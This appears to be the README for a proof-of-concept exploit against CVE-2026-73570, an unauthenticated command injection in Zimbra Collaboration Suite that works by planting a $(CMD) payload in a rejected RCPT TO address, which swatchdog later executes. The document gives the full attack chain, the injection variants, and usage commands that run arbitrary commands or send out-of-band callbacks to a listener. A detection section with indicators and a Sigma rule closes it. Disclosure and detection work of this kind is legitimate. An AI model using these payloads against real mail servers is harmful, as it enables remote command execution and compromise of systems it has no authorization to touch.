
Proof-of-concept exploit for CVE-2026-73570, an unauthenticated OS command injection in Zimbra Collaboration Suite via zimbra-snmp log injection, with detection guidance.
Proof-of-concept exploit for CVE-2026-73570, an unauthenticated OS command
injection (CWE-78, CVSS 8.9) in Zimbra Collaboration Suite < 10.1.20 when the
zimbra-snmp package is installed and SNMP notifications are enabled.
Disclaimer: This PoC is intended only for authorized security testing, defensive research, and validation of your own systems. Do not use it against any system you do not own or have explicit written permission to test.
Zimbra's SNMP notification feature uses swatchdog to monitor
/var/log/zimbra.log for service events. When a log line matches its watch
pattern, the matched text is interpolated into a shell command that sends the
SNMP notification — without sanitization.
The attack chain:
1. Attacker sends an SMTP session with a crafted RCPT TO address:
RCPT TO:<"x: Service status change: localhost $(CMD)
changed from stopped to running"@cve.invalid>
The local part is an RFC 5321 quoted-string, so Postfix accepts the
address syntax (spaces, colons, $(...) included).
2. Postfix rejects the recipient (relay denied / user unknown / sender
restriction) and writes the FULL to=<...> string, quotes stripped, into
/var/log/zimbra.log:
NOQUEUE: reject: RCPT from unknown[x.x.x.x]: ... to=<x: Service status
change: localhost $(CMD) changed from stopped to [email protected]> ...
3. swatchdog (zimbra-snmp) periodically scans the log and matches its
watchfor pattern "Service status change ... changed from ... to ...".
4. The matched text is interpolated into the SNMP notification shell command
-> $(CMD) is evaluated -> command execution as the `zimbra` user.
Target must meet all of the following:
zimbra-snmp package installedzmlocalconfig | grep -i snmp_notify)Attacker side: Python 3 (standard library only, no dependencies).
# 1. Verify RCE via out-of-band DNS callback (interactsh / Burp Collaborator):
python3 poc_cve_2026_73570.py -t mail.target.com --oob abc123.oast.site
# 2. Verify RCE via HTTP callback to your listener:
python3 poc_cve_2026_73570.py -t mail.target.com --oob http://10.0.0.5:8884/cb
# 3. Drop a marker file on the host (check manually on the server afterwards):
python3 poc_cve_2026_73570.py -t mail.target.com --cmd "touch /tmp/CVE-2026-73570_pwned"
# 4. Fingerprint only (no payload sent):
python3 poc_cve_2026_73570.py -t mail.target.com --check-only
# Debug: print the full SMTP transcript
python3 poc_cve_2026_73570.py -t mail.target.com --cmd "id" --debug
Options:
| Flag | Description |
|---|---|
-t, --target | Target Zimbra SMTP IP/hostname (required) |
-p, --port | SMTP port (default: 25) |
--tls | Use STARTTLS (e.g. port 587) |
--oob | OOB DNS domain or HTTP callback URL (recommended) |
--cmd | Arbitrary command instead of OOB callback |
--fake-host | Hostname inside the fake Service status change string (default: localhost) |
--check-only | Fingerprint only, send no payloads |
--delay | Delay between sends in seconds (default: 1.0) |
--debug | Print full SMTP transcript |
The script sends each command in several injection variants ($(...),
backticks, ;cmd;#, $({IFS}...)). For every variant, watch the RCPT
response code:
| RCPT response | Meaning |
|---|---|
250, 450, 454 Relay access denied, 550 5.1.1 User unknown | Address syntax accepted — the reject line with the full to=<...> string is now in the log. Payload planted. |
501 5.1.3 Bad recipient address syntax | Postfix rejected the address at parse time — nothing useful logged. The script automatically retries with an unquoted fallback. |
Then confirm on the server (if you have access):
# The injected line must be present:
grep 'Service status change' /var/log/zimbra.log | tail
# Expected: ... to=<x: Service status change: localhost $(...) changed from stopped to [email protected]> ...
# Wait 1-5 minutes (swatchdog scans the log periodically — execution is NOT real-time),
# then check for the effect:
ls -la /tmp/ # if you used --cmd
# or watch your OOB listener for the callback
If the log line is present but the command never executes, the remaining
preconditions are on the swatchdog side: check that the process is running
(ps aux | grep swatch) and that its configuration actually watches for the
Service status change pattern.
Execution context: commands run as the zimbra user (not root).
fail2ban-client status, iptables -L -n | grep <your_ip>, and confirm
packets reach Postfix with tcpdump -i any port 25 and host <your_ip> -nn -A.warning: Illegal address syntax ... in RCPT command: ... rather than a
NOQUEUE: reject line. Grep by your attacker IP instead.Key indicators of successful exploitation:
to=<*: Service status change: *$(...)* inside
a Postfix reject line in /var/log/zimbra.log — virtually zero false
positives, since Service status change text never legitimately appears
inside a to=<> address.sh, bash, curl, wget, nc, python, perl) spawned as a child
of swatchdog / swatch..jsp/.jspx files under
/opt/zimbra/jetty/webapps/ or /opt/zimbra/jetty_base/webapps/,
unexpected files in /tmp/, new cron entries or SSH keys for the zimbra
user, and outbound connections from the mail server that do not match
normal mail flow.Example Sigma rule (attempt stage):
title: Zimbra SNMP Notification Log Injection Attempt - CVE-2026-73570
logsource:
product: linux
service: postfix
detection:
sel:
- 'to=<*: Service status change: *$(*'
- 'to=<*: Service status change: *`*'
condition: sel
level: high
tags:
- attack.initial-access
- attack.t1190
- cve.2026.73570
zimbra-snmp package until patched.